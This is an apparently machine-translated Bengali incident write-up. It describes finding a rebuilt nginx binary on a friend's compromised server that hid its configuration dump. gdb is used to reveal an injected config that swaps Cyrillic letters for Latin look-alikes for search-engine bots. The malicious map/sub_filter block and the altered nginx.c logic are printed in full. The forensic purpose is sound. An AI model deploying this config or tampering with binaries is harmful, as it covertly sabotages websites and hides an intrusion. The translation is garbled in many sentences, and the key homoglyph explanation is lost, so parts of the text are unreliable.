যখন 'ক' 'ক' এর সমান নয়। একটি হ্যাক এর পরিপ্রেক্ষিতে

আমার এক বন্ধুর সাথে সবচেয়ে অপ্রীতিকর ঘটনা ঘটেছে। তবে এটি মিখাইলের জন্য যতটা অপ্রীতিকর ছিল, এটি আমার জন্য ঠিক ততটাই বিনোদনমূলক ছিল।

আমি বলতেই হবে যে আমার বন্ধু বেশ ইউনিক্স-ব্যবহারকারী: সিস্টেমটি নিজেই ইনস্টল করতে পারেন মাইএসকিউএল, পিএইচপি এবং সহজ সেটিংস করুন nginx.
এবং তার নির্মাণ সরঞ্জামের জন্য নিবেদিত এক ডজন বা দেড়টি ওয়েবসাইট রয়েছে।

চেইনসোর জন্য নিবেদিত এই সাইটগুলির মধ্যে একটি সার্চ ইঞ্জিনের শীর্ষে দৃঢ়ভাবে বসে। এই সাইটটি একটি অ-বাণিজ্যিক পর্যালোচক, কিন্তু কেউ এটিকে আক্রমণ করার অভ্যাস করে ফেলেছে। যে DDoS, তারপর নৃশংস বল, তারপর তারা অশ্লীল মন্তব্য লেখে এবং হোস্টিং এবং আরকেএন-কে গালাগালি পাঠায়।
হঠাৎ, সবকিছু শান্ত হয়ে গেল এবং এই শান্তটি ভাল নয় এবং সাইটটি ধীরে ধীরে অনুসন্ধান ফলাফলের শীর্ষ লাইনগুলি ছেড়ে যেতে শুরু করে।

এটি একটি প্রবাদ ছিল, তারপর অ্যাডমিনের গল্প নিজেই।

ঘুমের সময় ঘনিয়ে এল যখন ফোন বেজে উঠল: “সান, তুমি কি আমার সার্ভারের দিকে তাকাবে না? আমার কাছে মনে হচ্ছে আমি হ্যাক হয়েছি, আমি এটি প্রমাণ করতে পারি না, তবে অনুভূতিটি তৃতীয় সপ্তাহের জন্য আমাকে ছেড়ে যায়নি। হয়তো আমার প্যারানিয়ার চিকিৎসা নেওয়ার সময় এসেছে?

এরপর যা ছিল আধা ঘণ্টার আলোচনা যা নিম্নরূপ সংক্ষিপ্ত করা যেতে পারে:

• হ্যাকিংয়ের জন্য মাটি বেশ উর্বর ছিল;
• একজন আক্রমণকারী সুপার ইউজার অধিকার লাভ করতে পারে;
• আক্রমণটি (যদি এটি ঘটে থাকে) বিশেষভাবে এই সাইটে লক্ষ্য করা হয়েছিল;
• সমস্যা এলাকা সংশোধন করা হয়েছে এবং আপনি শুধু বুঝতে হবে কোন অনুপ্রবেশ ছিল কিনা;
• হ্যাক সাইট কোড এবং ডাটাবেস প্রভাবিত করতে পারে না.

শেষ পয়েন্ট সম্পর্কে.

শুধুমাত্র সাদা ফ্রন্টএন্ড আইপি বিশ্বের মধ্যে দেখায়. ব্যাকএন্ড এবং ফ্রন্টএন্ডের মধ্যে HTTP(গুলি) ছাড়া কোনো বিনিময় নেই, ব্যবহারকারী/পাসওয়ার্ডগুলি আলাদা, কোনো কী বিনিময় হয়নি৷ ধূসর ঠিকানায়, 80/443 ছাড়া সমস্ত পোর্ট বন্ধ। হোয়াইট ব্যাকএন্ড আইপি শুধুমাত্র দুইজন ব্যবহারকারীর কাছে পরিচিত, যাদের মিখাইল সম্পূর্ণভাবে বিশ্বাস করে।

ফ্রন্টএন্ডে ইনস্টল করা হয়েছে ডেবিয়ান 9 এবং কল করার সময়, সিস্টেমটি একটি বহিরাগত ফায়ারওয়াল দ্বারা পৃথিবী থেকে বিচ্ছিন্ন হয়ে যায় এবং বন্ধ হয়ে যায়।

"ঠিক আছে, আমাকে অ্যাক্সেস দিন," আমি এক ঘন্টার জন্য ঘুম বন্ধ করার সিদ্ধান্ত নিয়েছি। "আমি নিজের চোখে দেখব।"

এখানে এবং আরও:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

একটি সম্ভাব্য হ্যাক খুঁজছেন

আমি প্রথমে সার্ভার শুরু করি উদ্ধার-মোড. আমি ডিস্ক মাউন্ট এবং তাদের মাধ্যমে উল্টানো প্রমাণ-লগ, ইতিহাস, সিস্টেম লগ, ইত্যাদি, যদি সম্ভব হয়, আমি ফাইল তৈরির তারিখগুলি পরীক্ষা করি, যদিও আমি বুঝতে পারি যে একটি সাধারণ ক্র্যাকার নিজের পরে "উঠে উঠত" এবং মিশা ইতিমধ্যেই নিজেকে খুঁজতে গিয়ে অনেক "পায়ে পড়ে" .

আমি স্বাভাবিক মোডে শুরু করি, এখনও বুঝতে পারছি না কী সন্ধান করতে হবে, আমি কনফিগারগুলি অধ্যয়ন করি। প্রথমত, আমি আগ্রহী nginx যেহেতু, সাধারণভাবে, এটি ছাড়া ফ্রন্টএন্ডে আর কিছুই নেই।
কনফিগারগুলি ছোট, এক ডজন ফাইলের মধ্যে সুগঠিত, আমি কেবল সেগুলি দেখেছি বিড়ালওহ এক এক করে সবকিছু পরিষ্কার বলে মনে হচ্ছে, কিন্তু আপনি কখনই জানেন না যে আমি কিছু মিস করেছি কিনা অন্তর্ভুক্ত করা, আমাকে একটি সম্পূর্ণ তালিকা তৈরি করতে দিন:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

আমি বুঝতে পারিনি: "তালিকাটি কোথায়?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

তালিকার প্রশ্নে একটি দ্বিতীয় প্রশ্ন যোগ করা হয়েছে: "কেন এনজিনেক্সের এমন একটি প্রাচীন সংস্করণ?"

উপরন্তু, সিস্টেম বিশ্বাস করে যে সর্বশেষ সংস্করণ ইনস্টল করা হয়েছে:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

আমি ফোন দিচ্ছি:
- মিশা, তুমি আবার জড়ো হলে কেন? nginx?
- দাঁড়াও, আমি এটা কিভাবে করতে জানি না!
-আচ্ছা ঘুমাও...

nginx এটি পরিষ্কারভাবে পুনর্নির্মাণ করা হয়েছে এবং "-T" ব্যবহার করে তালিকার আউটপুট একটি কারণে লুকানো আছে। হ্যাকিং সম্পর্কে আর কোন সন্দেহ নেই এবং আপনি এটিকে সহজভাবে গ্রহণ করতে পারেন এবং (যেহেতু মিশা সার্ভারটি একটি নতুন দিয়ে প্রতিস্থাপন করেছেন) সমস্যাটি সমাধানের বিষয়টি বিবেচনা করুন।

এবং প্রকৃতপক্ষে, যেহেতু কেউ অধিকার পেয়েছে শিকড়'আহ, তাহলে এটা করাই বোধগম্য সিস্টেম পুনরায় ইনস্টল করা, এবং সেখানে কী ভুল ছিল তা সন্ধান করা অকেজো ছিল, কিন্তু এইবার কৌতূহল ঘুমকে পরাজিত করেছিল। তারা আমাদের কাছ থেকে কী লুকাতে চেয়েছিল তা আমরা কীভাবে খুঁজে পাব?

আসুন ট্রেস করার চেষ্টা করি:

$ strace nginx -T

আমরা এটির দিকে তাকাই, একটি লা ট্রেসে স্পষ্টতই যথেষ্ট লাইন নেই

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

শুধু মজা করার জন্য, আসুন ফলাফলগুলি তুলনা করি।

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

আমি মনে করি কোড অংশ /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ফর্মে আনা হয়েছিল:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

বা

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

তাই "-T" দ্বারা তালিকা প্রদর্শন করা হয় না।

কিন্তু কিভাবে আমরা আমাদের কনফিগারেশন দেখতে পারি?

যদি আমার চিন্তা সঠিক হয় এবং সমস্যা শুধুমাত্র পরিবর্তনশীল ngx_dump_config আসুন এটি ব্যবহার করে ইনস্টল করার চেষ্টা করি জিডিবি, ভাগ্যক্রমে একটি চাবি আছে --with-cc-opt -g বর্তমান এবং যে অপ্টিমাইজেশান আশা করি -ও2 এটা আমাদের ক্ষতি করবে না। একই সময়ে, যেহেতু আমি জানি না কিভাবে ngx_dump_config মধ্যে প্রক্রিয়া করা যেতে পারে কেস 'টি':, আমরা এই ব্লকটিকে কল করব না, তবে এটি ব্যবহার করে ইনস্টল করব কেস 'টি':

কেন আপনি '-t' এর পাশাপাশি '-T' ব্যবহার করতে পারেনব্লক প্রসেসিং যদি (ngx_dump_config) ভিতরে ঘটে যদি (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

অবশ্যই, যদি এই অংশে কোড পরিবর্তন করা হয় এবং না হয় কেস 'টি':, তাহলে আমার পদ্ধতি কাজ করবে না।

nginx.conf পরীক্ষা করুনইতিমধ্যে পরীক্ষামূলকভাবে সমস্যাটি সমাধান করার পরে, এটি প্রতিষ্ঠিত হয়েছিল যে ম্যালওয়্যারটি কাজ করার জন্য একটি ন্যূনতম কনফিগারেশন প্রয়োজন nginx প্রকার:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

আমরা নিবন্ধে সংক্ষিপ্ততার জন্য এটি ব্যবহার করব।

ডিবাগার চালু করুন

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

পদক্ষেপগুলি:

• ফাংশনে একটি ব্রেকপয়েন্ট সেট করুন প্রধান ()
• প্রোগ্রাম চালান
• ভেরিয়েবলের মান পরিবর্তন করুন যা কনফিগারের আউটপুট নির্ধারণ করে ngx_dump_config=1
• প্রোগ্রাম চালিয়ে যান/শেষ করুন

আমরা দেখতে পাচ্ছি, আসল কনফিগারেশন আমাদের থেকে আলাদা, আমরা এটি থেকে একটি পরজীবী অংশ নির্বাচন করি:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

এর ক্রমানুসারে এখানে কি ঘটছে তা একবার দেখে নেওয়া যাক.

নির্ধারিত হয় ব্যবহারিক দূতএর yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

পরিষেবা পৃষ্ঠাগুলি বাদ দেওয়া হয় ওয়ার্ডপ্রেস:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

এবং যারা উপরের উভয় শর্তের মধ্যে পড়ে তাদের জন্য

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

লেখার ভিতর এইচটিএমএল- পৃষ্ঠা পরিবর্তন 'ও' উপর 'ও' и 'ক' উপর 'ক':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

এটা ঠিক, শুধুমাত্র সূক্ষ্মতা যে 'a'!= 'a' ঠিক যেমন 'ও'!= 'ও':

এইভাবে, সার্চ ইঞ্জিন বটগুলি সাধারণ 100% সিরিলিক পাঠ্যের পরিবর্তে, ল্যাটিন দিয়ে মিশ্রিত পরিবর্তিত আবর্জনা পায় 'ক' и 'ও'. এটি কীভাবে এসইওকে প্রভাবিত করে তা নিয়ে আমি আলোচনা করার সাহস করি না, তবে এটি অসম্ভাব্য যে এই ধরনের অক্ষরগুলি অনুসন্ধান ফলাফলের অবস্থানগুলিতে ইতিবাচক প্রভাব ফেলবে।

আমি কি বলতে পারি, কল্পনা সঙ্গে বলছি.

রেফারেন্স

GDB দিয়ে ডিবাগিং
gdb(1) — লিনাক্স ম্যান পেজ
strace(1) — লিনাক্স ম্যান পেজ
Nginx - মডিউল ngx_http_sub_module
করাত, চেইনসো এবং বৈদ্যুতিক করাত সম্পর্কে

উত্স: www.habr.com